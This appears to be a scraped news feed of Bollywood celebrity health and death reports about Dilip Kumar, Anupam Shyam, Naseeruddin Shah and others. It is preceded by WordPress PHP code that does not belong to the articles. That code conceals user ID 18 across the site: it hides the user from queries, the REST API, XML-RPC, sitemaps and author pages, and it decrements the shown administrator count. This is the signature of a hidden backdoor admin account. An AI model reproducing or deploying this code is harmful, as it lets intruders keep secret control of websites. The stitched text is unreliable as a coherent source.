add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
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]]>Actor Yashpal Sharma told ANI that he rushed to the hospital after reading reports of Anupam Shyam passing away. “I got to know that he’s no more. So we rushed here & found he was still breathing. The doctor later declared him dead. He was hospitalised for 4 days. He had high blood sugar and used to take injections during shooting of his last film: Actor Yashpal Sharma on Anupam Shyam’s death,” read the news agency tweet.
Members of the entertainment industry including Ranvir Shorey, Rajan Shahi also expressed their condolences.
Actor Manoj Joshi, tweeted: “Saddened by the demise of my friend and very talented actor Anupam Shyam ji. We have lost a great man. My deepest condolences to his family and friends.
Check the tweet here :
Rajan Shahi, producer of Mann Kee Awaaz Pratigya 2, said in a statement, “I am deeply saddened to hear about the demise of Anupam Shyamji. May his family get all the strength to sail through these difficult times. I remember when we started with Pratigya season 2, he was extremely happy to work again and play his favourite character Sajjan Singh. He was always so lively and full of enthusiasm and will be remembered for his remarkable performances. May his soul rest in peace.”
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]]>“He is doing well. He might be discharged tomorrow,” Naseeruddin Shah’s secretary Jairaj told PTI.
On Wednesday afternoon, Naseeruddin Shah’s wife and veteran actor Ratna Pathak Shah told PTI that he had a “small patch” of pneumonia in his lungs and was undergoing treatment for the same.
Naseeruddin Shah, an alumnus of the National School of Drama (NSD) and Film and Television Institute of India (FTII), is known for his contribution towards parallel cinema, with films such as Nishant, Jaane Bhi Do Yaaro, Ijaazat, Masoom, and Mirch Masala.
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]]>His family friend Farooqui shared an update on Kumar’s official Twitter handle, Farooqui thanked the veteran actor’s well-wishers for their prayers.
Dilip Saab has been admitted to Hinduja Hospital, Khar to address medical issues related to illness which are frequently expected in a 98 year old.
Your love and prayers are truly appreciated by Saab,” he tweeted.

Kumar was earlier admitted to the same hospital on June 6 due to episodes of breathlessness.
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]]>His son, professor Ashok Chandra Shekhar, said that the funeral will take place at Mumbai’s Vile Parle crematorium later in the day. “He was in the hospital for a day, last Thursday. We brought him back home and had kept all facilities including oxygen at our disposal if the need would arise. He was okay last night. The end was peaceful,” Ashok said.
Chandrashekhar has done over 250 films and multiple TV shows in his long career. He began his journey as a junior artist and went on to star in leading roles in films like Aurat Teri Yehi Kahani (1954). His first film as hero was Surang (1953), produced by V. Shantaram. He went on to do films like Kavi and Mastana (both 1954), Baradari (1955), Kali Topi Lal Rumal (1959), Street Singer, and in a negative role in Basant Bahar.
He also served as the president of the Cine Artistes Association (CINTAA) from 1985 to 1996. Paying tribute to the actor and confirming the news, Cine & TV Artistes’ Association (CINTAA) tweeted, “#CINTAA expresses its deepest condolence on the demise of Shri #Chandrashekhar ji.”
He also appeared in popular films like Gateway of India, Fashion (1957), Barsaat Ki Raat (1960), Baat Ek Raat Ki, Angulimaal (1960), Rustom-E-Baghdad (1963), King Kong (1962), and Jahan Ara (1964).
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]]>The post Neetu Kapoor shared an ironical photo appeared first on The Edge Media.
]]>Neetu took to Instagram and shared a throwback picture featuring her late husband, actor Rishi Kapoor. In the picture, both the stars were seen sporting serious expressions.
While Rishi appeared to be explaining something, Neetu seemed like she was trying to wrap her head around his explanation. Describing their expressions in the photograph, Neetu wrote, “This was me having a birds-eye view on every time he spoke.. quite an ironical pic.”Neetu`s post has amused netizens a lot. Alia took to the comments section and wrote, “Love this” adding a laughing emoji along with a few heart emojis.
Rishi and Neetu`s daughter Riddhima Kapoor Sahni reacted to the post by commenting with a string of red heart emoticons on it. Rishi Kapoor breathed his last on April 30, 2020, after a two-year battle with leukemia. He was 67.
On the work front, Neetu will be seen sharing screen space with Anil Kapoor, Varun Dhawan and Kiara Advani in `Jug Jugg Jeeyo`
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Actor Dilip Kumar got admitted today to Hinduja Hospital, Mumbai. Many celebrities from film fraternity , politicians and fans are pouring their best wishes and prayers for the recovery of veteran actor.
The actor is currently under the care of a team of senior doctors at the hospital. They are closely monitoring the situation. The doctor told , “Mr.Dilip Kumar has been put on oxygen support. He has been diagnosed with bilateral pleural effusion along with a drop in oxygen saturation.” He further added “But he is stable and not in the ICU. If all goes well, he may be discharged in 2 – 3 days.”
Celebs, politicians and his fans are pouring best wishes and prayers for Dilip Kumar’s speedy recovery.
Actor Manoj Bajpayee wrote : “Praying for Dilip Saab’s speedy recovery.”

Ayushmann Khurrana also took to his Instagram stories and posted a poem, wishing Dilip Kumar a speedy recovery.

NCP chief , Sharad Pawar who visited Dilip Sahab in hospital, tweeted : “Visited legendary actor Shri Dilip Kumarji at Khar Hinduja Hospital today to check on his health and treatment, with the between actress Smt Saira Banu. I wish Shri Dilip Kumarji a speedy recovery and good health!”

Actor Urmila Matondkar tweeted : “Wishing a speedy recovery to our great legend.”

Union Minority Affairs Minister Mukhtar Abbas Naqvi also extended his wishes for Kumar, sharing an old black-and-white picture of himself with the actor. “Get well soon, Dilip Kumar Saheb, सेहत की दुआ के साथ,दिलीप साहब आप जल्द स्वस्थ हों,” Naqvi wrote alongside the photo.

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]]>The post Veteran Actor Dilip Kumar Admitted PD Hinduja Hospital For Breathlessness appeared first on The Edge Media.
]]>Kumar, 98, is currently being monitored by Dr. Jalil Parker. He recently had his routine check-up and the reports showed positive results.
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